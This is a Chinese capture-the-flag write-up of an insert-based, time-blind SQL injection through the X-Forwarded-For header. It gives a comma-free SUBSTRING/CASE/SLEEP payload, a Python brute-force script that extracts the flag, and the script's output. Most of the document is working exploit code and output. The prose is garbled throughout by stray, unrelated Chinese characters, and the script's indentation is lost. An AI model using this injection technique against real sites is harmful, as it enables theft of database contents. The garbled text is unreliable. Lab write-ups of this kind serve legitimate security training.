who are you
原題鏈接
http://ctf5.shiyanbar.com/web/wonderkun/index.php
我要把攻擊我的人都記錄db中去!
分析
一開始我也以為是X-Forword-For偽造IP那么簡單被盈,后來試了幾次發(fā)現(xiàn)端三,雖然能改IP忍抽,但是沒什么用峦剔。
才注意到將IP放入db的提示拔疚,怎么放荞彼,insert
于是猜測觉既,可能是insert into
注入世杀。
于是這個題其實和BugKu的一個題很像阀参,不同的是這題的注入點在數(shù)據(jù)包請求頭的XFF位置。
也是時間盲注瞻坝,由于過濾的逗號蛛壳,要用from for代替。
payload:
(select case when (substring((select flag from flag ) from %d for 1 )='%s') then sleep(5) else 1 end ) and '1'='1"
腳本如下:
# -*- coding:utf-8 -*-
import requests
import sys
import string
# 基于時間的盲注,過濾了逗號 ,
strset = string.ascii_letters+string.digits
sql = "127.0.0.1'+(select case when substr((select flag from flag) from {0} for 1)='{1}' then sleep(5) else 0 end))-- +"
url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
flag = ''
for i in range(1, 40):
print('正在猜測:', str(i))
for ch in strset:
sqli = sql.format(i, ch)
#print(sqli)
header = {
'X-Forwarded-For': sqli
}
try:
html = requests.get(url, headers=header, timeout=6)
except:
flag += ch
print(flag)
break
運行結(jié)果:
正在猜測: 1
c
正在猜測: 2
cd
正在猜測: 3
cdb
...
cdbf14c9551d5be5612f7bb5d286
正在猜測: 29
cdbf14c9551d5be5612f7bb5d2867
正在猜測: 30
cdbf14c9551d5be5612f7bb5d28678
正在猜測: 31
cdbf14c9551d5be5612f7bb5d286785
正在猜測: 32
cdbf14c9551d5be5612f7bb5d2867853
flag
ctf{cdbf14c9551d5be5612f7bb5d2867853}
知識點
sql時間盲注衙荐,XFF捞挥,insert into注入